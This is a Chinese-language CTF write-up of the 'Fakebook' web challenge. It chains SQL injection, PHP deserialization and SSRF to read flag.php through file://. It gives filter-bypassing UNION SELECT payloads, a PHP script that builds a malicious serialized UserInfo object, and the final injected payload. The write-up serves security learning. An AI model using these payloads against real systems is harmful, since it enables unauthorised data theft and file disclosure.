Fakebook:SQL 注入 + PHP 反序列化 + SSRF

记录 Fakebook 组合型 Web 题中,从 SQL 注入控制序列化数据,到利用 file 协议读取服务器文件的过程。

  • #CTF
  • #SQL注入
  • #PHP反序列化
  • #SSRF
  • #file协议
  • #任意文件读取

本文仅用于授权 CTF 题目和本地实验环境。文中的路径、密码和请求均属于题目环境。

一、题目概况

这是一道组合型 Web 题,核心漏洞链是:

SQL 注入 → 控制反序列化数据 → 触发 SSRF → 使用 file 协议读取文件

二、漏洞点分析

1. SQL 注入点

  • 位置:view.php?no=
  • 类型:数字型注入
  • 过滤:对 union、select 等关键字进行过滤,可以使用 /**/ 注释绕过
  • 列数:4 列
  • 回显位:第 2 列,页面的 username 位置会直接输出
  • 关键位:第 4 列,后续会被 unserialize() 处理

基础确认请求:

-1/**/union/**/select/**/1,2,3,4

2. 反序列化点

程序会把查询结果的第 4 列传给 unserialize()。数据还原为 UserInfo 对象后,程序随后调用对象的 getBlogContents() 方法。

3. SSRF 与 file 协议

UserInfo 类的 getBlogContents() 方法内部会使用 cURL 请求 $this->blog 的值。

正常注册流程中会通过 isValidBlog() 检查 URL,但从数据库反序列化得到的对象绕过了这一步。因此可以控制 blog 属性,使其指向:

file:///var/www/html/flag.php

这一步本质上是利用 cURL 支持的协议读取服务器本地文件。

三、完整利用步骤

1. 确认注入并绕过过滤

-1/**/union/**/select/**/1,2,3,4

2. 查询数据库信息

查询数据库名:

-1/**/union/**/select/**/1,database(),3,4

查询表名:

-1/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema=database()

查询 users 表字段:

-1/**/union/**/select/**/1,group_concat(column_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name='users'

得到字段:

no, username, passwd, data

3. 查看 data 字段

-1/**/union/**/select/**/1,data,3,4/**/from/**/users

通过返回的序列化字符串确认类名为 UserInfo,属性包括 name、age 和 blog。

查询 data 字段得到的序列化对象回显

4. 构造序列化数据

可以用下面的 PHP 代码生成序列化字符串:

<?php
class UserInfo {
    public $name = "1";
    public $age = 1;
    public $blog = "file:///var/www/html/flag.php";
}

$obj = new UserInfo();
$serialized = serialize($obj);
echo $serialized;

生成序列化对象的 PHP 代码

本题中使用的序列化字符串为:

O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

将它放入查询结果的第 4 列:

-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

实际通过 URL 传递时,需要根据页面参数和浏览器情况对特殊字符进行 URL 编码。

四、结果与 Base64 提取

请求成功后,页面会出现反序列化报错和读取结果。结果内容被放在页面中的 Base64 数据里,不能只看浏览器当前显示的页面文字。

查看页面源代码,找到 iframe 的 data: URI,提取其中的 Base64 内容并解码即可。解码后即可看到读取到的 flag.php 内容和题目结果。

五、核心知识点

知识点 说明
注释绕过 使用 union/**/select 绕过关键字过滤
回显位与利用位 第 2 列用于观察数据,第 4 列用于反序列化利用
PHP 反序列化 控制对象属性,间接影响后续方法行为
SSRF 与协议滥用 利用 cURL 的 file:// 协议读取服务器本地文件
Base64 数据 URI 从 iframe 的 data: URI 中提取并解码内容

六、复盘总结

本题的完整利用链是:

SQL 注入
  ↓
控制查询结果第 4 列
  ↓
unserialize() 还原 UserInfo 对象
  ↓
控制 blog 属性
  ↓
getBlogContents() 使用 cURL 请求 blog
  ↓
file:// 读取 flag.php
  ↓
从 iframe 的 Base64 数据中提取结果

遇到组合型 Web 题时,不要只关注单个漏洞。需要继续确认数据如何流转、对象何时被调用,以及最终的协议和解析方式。

工具说明

  • Burp Suite:构造 SQL 注入请求、观察回显和报错。
  • PHP serialize():生成与目标类结构匹配的序列化字符串。
  • 浏览器开发者工具:查看页面源代码并定位 data: URI。